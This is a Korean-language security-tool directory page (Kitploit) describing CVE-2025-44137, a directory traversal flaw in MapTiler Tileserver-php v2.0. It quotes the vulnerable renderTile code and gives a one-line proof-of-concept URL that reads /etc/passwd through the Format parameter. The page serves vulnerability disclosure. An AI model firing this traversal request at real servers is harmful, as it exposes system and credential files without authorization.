Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-44137 | Kitploit
도구/GitHubGitHub/mheranco/cve-2025-44137
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubmheranco/cve-2025-44137

CVE-2025-44137

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-44137

MapTiler Tileserver-php v2.0에서 발생하는 인증되지 않은 파일 읽기

설명

MapTiler Tileserver-php v2.0은 디렉터리 트래버설(Directory Traversal)에 취약합니다. tileserver.php 내의 renderTile 함수는 서버에 파일로 저장된 타일을 웹 요청을 통해 전달하는 역할을 합니다. 파일 경로를 생성할 때 '../'의 사용이 가능하며, 이를 활용하여 웹 서버의 모든 파일을 읽을 수 있습니다. 영향을 받는 GET 매개변수는 "TileMatrix", "TileRow", "TileCol" 및 "Format"입니다.

https://github.com/maptiler/tileserver-php/blob/d0fdeaec69688dc500b652a23669d724d7d53df2/tileserver.php#L381-L398

root@kitploit:~
      $name = './' . $tileset . '/' . $z . '/' . $x . '/' . $y;
      $mime = 'image/';
      if($ext != null){
        $name .= '.' . $ext;
      }
      if ($fp = @fopen($name, 'rb')) {
        if($ext != null){
          $mime .= $ext;
        }else{
          //detect image type from file
          $mimetypes = ['gif', 'jpeg', 'png'];
          $mime .= $mimetypes[exif_imagetype($name) - 1];
        }
        header('Access-Control-Allow-Origin: *');
        header('Content-Type: ' . $mime);
        header('Content-Length: ' . filesize($name));
        fpassthru($fp);
        die;

PoC

http://localhost/tileserver.php/x/1/1/1?Format=/../../../../../../../../../../../../../../etc/passwd&Request=x&layer=.

스크린샷 1 스크린샷 2

크레딧

Martin Herancourt

도구 다운로드